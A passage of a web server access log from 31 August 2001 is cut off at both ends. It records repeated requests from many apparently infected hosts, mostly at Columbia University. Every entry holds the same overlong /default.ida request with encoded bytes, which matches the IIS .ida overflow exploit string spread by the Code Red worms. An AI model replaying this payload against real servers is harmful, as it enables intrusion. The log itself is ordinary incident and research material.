/default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010831 03:46:22: dynamic-51-234.dyn.columbia.edu [128.59.51.234] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010831 03:55:45: dynamic-54-87.dyn.columbia.edu [128.59.54.87] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010831 03:57:16: dynamic-207-230.dyn.columbia.edu [128.59.207.230] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010831 04:08:09: dynamic-207-230.dyn.columbia.edu [128.59.207.230] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010831 04:32:11: [210.90.239.31] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010831 04:43:31: bus205-176.gsb.columbia.edu [128.59.205.176] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010831 04:49:01: dynamic-207-230.dyn.columbia.edu [128.59.207.230] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010831 04:57:18: wsgrhl721.law.columbia.edu [128.59.176.190] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010831 04:59:01: bus205-176.gsb.columbia.edu [128.59.205.176] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010831 05:17:42: wsgrhl721.law.columbia.edu [128.59.176.190] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010831 05:35:09: dynamic-235-131.dyn.columbia.edu [128.59.235.131] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010831 05:40:54: dynamic-51-234.dyn.columbia.edu [128.59.51.234] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010831 05:44:56: wsgrhl721.law.columbia.edu [128.59.176.190] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010831 05:52:19: jkyle.resnet.tamu.edu [128.194.5.197] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010831 05:56:37: dynamic-54-87.dyn.columbia.edu [128.59.54.87] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010831 06:00:38: bus205-176.gsb.columbia.edu [128.59.205.176] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010831 06:04:11: dynamic-54-87.dyn.columbia.edu [128.59.54.87] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010831 06:12:46: bus205-176.gsb.columbia.edu [128.59.205.176] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010831 06:17:13: wsgrhl721.law.columbia.edu [128.59.176.190] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010831 06:33:29: bus205-176.gsb.columbia.edu [128.59.205.176] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010831 06:45:43: dynamic-54-87.dyn.columbia.edu [128.59.54.87] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010831 06:46:35: bus205-176.gsb.columbia.edu [128.59.205.176] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010831 06:46:53: bus205-176.gsb.columbia.edu [128.59.205.176] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010831 06:49:15: [211.61.251.241] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010831 06:49:35: [211.61.251.241] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010831 06:49:53: [211.61.251.241] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010831 06:53:52: wsgrhl721.law.columbia.edu [128.59.176.190] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010831 06:54:12: bus205-176.gsb.columbia.edu [128.59.205.176] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010831 07:00:58: [128.59.192.250] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010831 07:09:01: dynamic-51-234.dyn.columbia.edu [128.59.51.234] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010831 07:22:44: dynamic-54-87.dyn.columbia.edu [128.59.54.87] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010831 07:31:44: wsgrhl721.law.columbia.edu [128.59.176.190] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010831 07:36:42: wsgrhl721.law.columbia.edu [128.59.176.190] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010831 07:42:20: bus205-176.gsb.columbia.edu [128.59.205.176] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010831 07:49:21: wsgrhl721.law.columbia.edu [128.59.176.190] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010831 07:52:33: bus205-176.gsb.columbia.edu [128.59.205.176] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010831 07:52:52: wsgrhl721.law.columbia.edu [128.59.176.190] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010831 07:58:49: [128.59.192.250] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010831 08:00:07: wsgrhl721.law.columbia.edu [128.59.176.190] "GET 